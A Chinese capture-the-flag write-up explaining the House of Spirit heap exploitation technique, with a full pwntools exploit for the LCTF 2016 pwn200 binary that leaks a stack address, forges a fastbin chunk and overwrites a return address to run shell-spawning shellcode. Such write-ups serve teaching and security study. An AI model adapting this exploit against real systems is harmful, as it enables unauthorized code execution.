House of Spirit(hos)是一个组合型的漏洞利用,是变量覆盖和堆管理机制的组合利用。是构造一个 fake chunk,然后释放掉它,这样再次申请的时候就会申请它。具体来说,关键在于能够覆盖一个堆指针变量,使其指向可控的区域,只要构造好数据,释放后系统会错误的将该区域作为堆块放到相应的fast bin里面,最后再分配出来的时候,就有可能改写我们目标区域。
利用场景 1. 想要控制的目标区域的前段空间与后段空间都是可控的内存区域。
一般来说想要控制的目标区域多为返回地址或是一个函数指针,正常情况下,该内存区域我们是无法通过输入数据来进行控制的,想要利用hos攻击技术来改写该区域,首先需要我们可以控制那片目标区域的前面空间和后面空间。
---------------------------------------------------------------- 可控1 ---------------------------------------------------------------- 目标区域(不可控,多为函数指针或返回地址等) ---------------------------------------------------------------- 可控2 ---------------------------------------------------------------- 2. 存在可将堆变量指针覆盖指向为可控区域,即上一步中的区域。
Free要绕过的检测 1. fake chunk的ISMMAP 位不能为 1,否则会调用munmap_chunk函数去释放堆块。
2. fake chunk的地址需要对齐, MALLOC_ALIGN_MASK。
3. fake chunk的size 大小需要满足对应的 fastbin 的需求。
4. 2 * SIZE_SZ < next chunk size < av->system_mem 。
5. fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。
LCTF_2016-pwn200 步骤一:运行查看
LCTF就是XDCTF,由西电的L-Team主办。
步骤二:查看文件类型和保护机制 $ file lctf_2016_pwn200 lctf_2016_pwn200: ELF 64 -bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2 .6.24, BuildID[sha1]= 5a7b9f542c0bf79112b5be3f0198d706cce1bcad, stripped $ checksec --file = lctf_2016_pwn200 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No Symbols No 0 3 lctf_2016_pwn200 步骤三:IDA反编译分析 a. main函数 有两个函数,第一个函数就是设置程序的缓冲区,重命名为setvbufs,不再赘述。第二个函数就是程序的主体了。这里重命名为welcome。
b. welcome函数 1)首先打印“who are you”,然后for循环以输入进行回答,接着打印输入。
2)这里的for循环存在 off by one 漏洞 ,利用后面的pirntf能 泄漏出welcome栈帧中存储的old rbp ,也就是能泄漏出栈里的某个地址。
3)再接着就是输入id和输入money以及菜单操作。
因为,这里能泄漏栈空间地址,所以解题和栈有关(学习的时候是上帝视角,知道这里用HOS,肯定是和栈有关的 - -)。那么根据分析,可得到此时栈空间布局如下:
c. input_number函数 将输入转为int型,然后返回。该函数有返回值,但是上面的welcome函数伪代码中却没有变量接收返回值。查看汇编,其实是有的,保存在[rbp-0x38],只不过这里是IDA反编译不准确。
到这的时候,栈空间布局如下:
d. input_money_and_menu函数 1)malloc了一个0x40大小的堆空间,并将返回地址赋值给指针dest。
2)然后往0x38大小的栈缓存区buf输入“money”,最大大小为0x40,这里存在 相邻变量覆盖,覆盖掉的是dest ,即这里 可以覆盖堆指针 。这可以从buf == [rbp-40h] 和 *dest = [rbp-8h] 看出,也可以双击变量查看它们的栈结构,这里不再贴图。
3)接着将buf内容(输入的“money”)拷贝到dest指向的堆块中。
4)将dest赋值给全局指针ptr,即ptr也指向堆块,当然如果dest被覆盖了,ptr也就会随之改变。
5)执行菜单操作。
此时,栈空间布局如下:
图中money_menu函数input_money_and_menu函数,缩写是为了图片的整齐。
e. menu_options函数 1)输入1 :checkin
2)输入2:checkout
f. checkin函数 根据ptr指针来判断用户是否登记:
1)如果登记,返回已登记字符串,退出函数;
2)如果没有登记,则输入一个数字nbytes,然后新分配一个nbytes大小的堆空间,然后往里输入“money”(nbytes长度)。
g. checkout函数 根据ptr指针判断,如果用户已经登记,则free(ptr),并将ptr置为0。
h. 小结 welcome函数中首先回答“who are you”的for循环中存在off by one 漏洞,能泄漏出栈的地址;
input_money_and_menu函数中首先出现malloc操作,而且能通过输入money覆盖堆指针;
checkin函数:malloc一个指定大小的堆块,并往里输入
checkout函数:free并置全局指针ptr为NULL
能泄漏栈的地址,能覆盖堆指针,能再次free和malloc,满足HOS的利用条件。对应前面的利用场景,如下所示,那么可以在可控2区域输入shellcode,可控1区域开始伪造chunk,然后往chunk输入,覆盖input_money_and_menu函数的返回地址为shellcode的地址,那么menu菜单第3选项退出的时候,input_money_and_menu也会return。
------------------------------------------------------------------------------
可控1 : buf —— fake chunk
------------------------------------------------------------------------------
目标区域(不可控,多为函数指针或返回地址等):input_money_and_menu函数返回地址
------------------------------------------------------------------------------
可控2 : v2(name) —— shellcode
------------------------------------------------------------------------------
下面进行调试分析,验证一些分析。
步骤四:调试分析 a. 模板 from pwn import * from LibcSearcher import LibcSearcher from sys import argv def ret2libc (leak , func , path ='' ): if path == '' : libc = LibcSearcher (func , leak ) base = leak - libc .dump (func ) system = base + libc .dump ('system' ) binsh = base + libc .dump ('str_bin_sh' ) else : libc = ELF (path ) base = leak - libc .sym [func ] system = base + libc .sym ['system' ] binsh = base + libc .search ('/bin/sh' ).next () return (system , binsh ) s = lambda data :p .send (str (data )) sa = lambda delim ,data :p .sendafter (delim , str (data )) sl = lambda data :p .sendline (str (data )) sla = lambda delim ,data :p .sendlineafter (delim , str (data )) r = lambda num =4096 :p .recv (num ) ru = lambda delims , drop =True :p .recvuntil (delims , drop ) uu64 = lambda data :u64 (data .ljust (8 ,'\0' )) leak = lambda name ,addr :log .success ('{} = {:#x}' .format (name , addr )) context .log_level = 'DEBUG' binary = './lctf_2016_pwn200' context .binary = binary elf = ELF (binary ,checksec =False ) p = remote ('127.0.0.1' ,000 0 ) if argv [1 ]=='r' else process (binary ) libc = ELF ('/lib/x86_64-linux-gnu/libc.so.6' ,checksec =False ) def dbg (): gdb .attach (p ) pause () #start # end p .interactive () b. 分析程序的内存布局,并查看welcome函数中的off-by-one漏洞效果。 payload = 'a' * 48 ru ('who are u?\n' ) s (payload ) p .recvuntil (payload ) # leak main function rbp address rbp_addr = u64 (p .recvn (6 ).ljust (8 , '\x00' )) print (hex (rbp_addr )) # input id sla ('give me your id ~~?' ,'111' ) # input money sla ('give me money~' ,0x37 * 'b' ) # recvive menu ru ('your choice : ' ) dbg ()
id = 0x6f = 111
因此,纠正并完善前面静态分析得出的内存结构:
c. 思路 输入name的时候,将shellcode输入,并补齐0x30字节,以通过 off-by-one漏洞 泄漏rbp地址;
输入money的时候,在money里伪造chunk,注意要绕过free函数的检查。并通过 相邻变量覆盖漏洞 覆盖dest指针,将其覆盖为fake chunk的user data地址,那么输入完之后,dest指针赋值给ptr,ptr也指向fake chunk的user data地址。
调用checkout,将伪造chunk放入fastbin中,并置ptr指针为NULL;
调用checkin,因为ptr==NULL,将重新malloc指定大小的chunk并输入数据,此时,便可以malloc可控1区域下方的不可控区域,覆盖input_number_and_menu函数的返回地址为shellcode地址;
退出时 input_number_and_menu函数也会return,将跳转去执行shellcode。
d. 输入name和money def checkin (num , money ): sla ('your choice : ' , '1' ) sla ('how long?\n' , str (num )) sa (str (num )+ '\n' ,money ) def checkout (): sla ('your choice : ' ,'2' ) def quit (): sla ('choice : ' ,'3' ) shellcode = asm (shellcraft .amd64 .linux .sh (),arch ='amd64' ) # input name(shellcode) payload = '' payload = payload + shellcode .ljust (0x30 ) ru ('who are u?\n' ) s (payload ) ru (payload ) # leak main function rbp address rbp_addr = u64 (p .recvn (6 ).ljust (8 , '\x00' )) leak ("rbp address" ,rbp_addr ) # get shellcode_addr and fake_chunk_addr shellcode_addr = rbp_addr - 0x50 fake_chunk_addr = rbp_addr - 0x90 ru ('give me your id ~~?\n' ) sl ('32' ) # next chunk size ru ('give me money~\n' ) # input money(fake chunk) # padding + prev_size + size + padding + fake_chunk_addr => len = 0x38+0x8 payload = p64 (0 )* 4 + p64 (0 ) + p64 (0x41 ) payload = payload .ljust (56 ,'\x00' ) + p64 (fake_chunk_addr ) s (payload )
e. free checkout () dbg ()
f. 再次malloc并填充数据 # malloc payload = 'a' * 0x18 + p64 (shellcode_addr ) payload = payload .ljust (0x30 ,'\x00' ) checkin (0x30 ,payload )
最后,程序退出时,input_money_and_menu函数就会返回,跳转执行shellcode。
步骤五:构造Exp from pwn import * from LibcSearcher import LibcSearcher from sys import argv def ret2libc (leak , func , path ='' ): if path == '' : libc = LibcSearcher (func , leak ) base = leak - libc .dump (func ) system = base + libc .dump ('system' ) binsh = base + libc .dump ('str_bin_sh' ) else : libc = ELF (path ) base = leak - libc .sym [func ] system = base + libc .sym ['system' ] binsh = base + libc .search ('/bin/sh' ).next () return (system , binsh ) s = lambda data :p .send (str (data )) sa = lambda delim ,data :p .sendafter (delim , str (data )) sl = lambda data :p .sendline (str (data )) sla = lambda delim ,data :p .sendlineafter (delim , str (data )) r = lambda num =4096 :p .recv (num ) ru = lambda delims , drop =True :p .recvuntil (delims , drop ) ruf = lambda delims , drop =False :p .recvuntil (delims , drop ) uu64 = lambda data :u64 (data .ljust (8 ,'\x00' )) leak = lambda name ,addr :log .success ('{} = {:#x}' .format (name , addr )) context .log_level = 'DEBUG' binary = './lctf_2016_pwn200' context .binary = binary elf = ELF (binary ,checksec =False ) p = remote ('127.0.0.1' ,000 0 ) if argv [1 ]=='r' else process (binary ) libc = ELF ('/lib/x86_64-linux-gnu/libc.so.6' ,checksec =False ) def dbg (): gdb .attach (p ) pause () def checkin (num , money ): sla ('your choice : ' , '1' ) sla ('how long?\n' , str (num )) sa (str (num )+ '\n' ,money ) def checkout (): sla ('your choice : ' ,'2' ) def quit (): sla ('choice : ' ,'3' ) shellcode = asm (shellcraft .amd64 .linux .sh (),arch ='amd64' ) # input name(shellcode) payload = '' payload = payload + shellcode .ljust (0x30 ) ru ('who are u?\n' ) s (payload ) ru (payload ) # leak main function rbp address rbp_addr = u64 (p .recvn (6 ).ljust (8 , '\x00' )) leak ("rbp address" ,rbp_addr ) # get shellcode_addr and fake_chunk_addr shellcode_addr = rbp_addr - 0x50 fake_chunk_addr = rbp_addr - 0x90 ru ('give me your id ~~?\n' ) sl ('32' ) # next chunk size ru ('give me money~\n' ) # input money(fake chunk) # padding + prev_size + size + padding + fake_chunk_addr => len = 0x38+0x8 payload = p64 (0 )* 4 + p64 (0 ) + p64 (0x41 ) payload = payload .ljust (56 ,'\x00' ) + p64 (fake_chunk_addr ) s (payload ) # dbg() # free checkout () # dbg() # malloc payload = 'a' * 0x18 + p64 (shellcode_addr ) payload = payload .ljust (0x30 ,'\x00' ) checkin (0x30 ,payload ) #dbg() # quit quit () p .interactive ()
这题还有一种解法,可看这位大佬的:https://bbs.pediy.com/thread-225440.htm 。
参考文献
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
最后于 2021-3-8 16:40
被ztree编辑
,原因:
上传的附件: